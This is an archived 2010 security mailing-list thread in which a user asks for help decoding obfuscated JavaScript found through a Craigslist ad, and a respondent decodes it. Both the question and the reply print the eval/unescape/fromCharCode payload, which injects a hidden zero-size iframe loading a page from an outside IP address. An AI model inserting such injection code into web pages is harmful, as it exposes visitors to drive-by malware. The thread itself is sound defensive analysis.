Decode this Javascript?

[lists at c22.cc (mailing lists)]

URL decoded:

eval(unescape("document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,50,48,49,46,50,51,53,46,50,51,53,46,49,55,52,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,48,34,32,104,101,105,103,104,116,61,34,48,34,62,60,47,105,102,114,97,109,101,62));"));

Final link is <iframe src="http://201.235.235.174/index.php"; width="0"
height="0"></iframe>

Easiest way I've found to decode these things is to alter the
eval(unescape("document.write to a simple alert function and remove the
additional ")); from the end (as it's no longer required). This will then
popup a dialog box displaying the de-obfuscated text (in this case URL).

Hope it helps.

Chris

-------------------------
Chris John Riley
 - blog.c22.cc -
-------------------------

On Wed, Apr 7, 2010 at 4:11 AM, Rhonda Kreklau <rhonda.kreklau at gmail.com>wrote:

> I found this by following a Craigslist ad asking for redesign job on a
> website...can someone decode it for me...
>
>
> eval(unescape("document.write%28String.fromCharCode%2860%2C105%2C102%2C114%2C97%2C109%2C101%2C32%2C115%2C114%2C99%2C61%2C34%2C104%2C116%2C116%2C112%2C58%2C47%2C47%2C50%2C48%2C49%2C46%2C50%2C51%2C53%2C46%2C50%2C51%2C53%2C46%2C49%2C55%2C52%2C47%2C105%2C110%2C100%2C101%2C120%2C46%2C112%2C104%2C112%2C34%2C32%2C119%2C105%2C100%2C116%2C104%2C61%2C34%2C48%2C34%2C32%2C104%2C101%2C105%2C103%2C104%2C116%2C61%2C34%2C48%2C34%2C62%2C60%2C47%2C105%2C102%2C114%2C97%2C109%2C101%2C62%29%29%3B"));
>
> Thanks
>
> Rhonda
> _______________________________________________
> Pauldotcom mailing list
> Pauldotcom at mail.pauldotcom.com
> http://mail.pauldotcom.com/cgi-bin/mailman/listinfo/pauldotcom
> Main Web Site: http://pauldotcom.com



-- 
--
? Chris John Riley ?
? http://blog.c22.cc ?
--
------------------------------------------
All emails ROT-26 encrypted
------------------------------------------
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mail.pauldotcom.com/pipermail/pauldotcom/attachments/20100407/b4f5d187/attachment.htm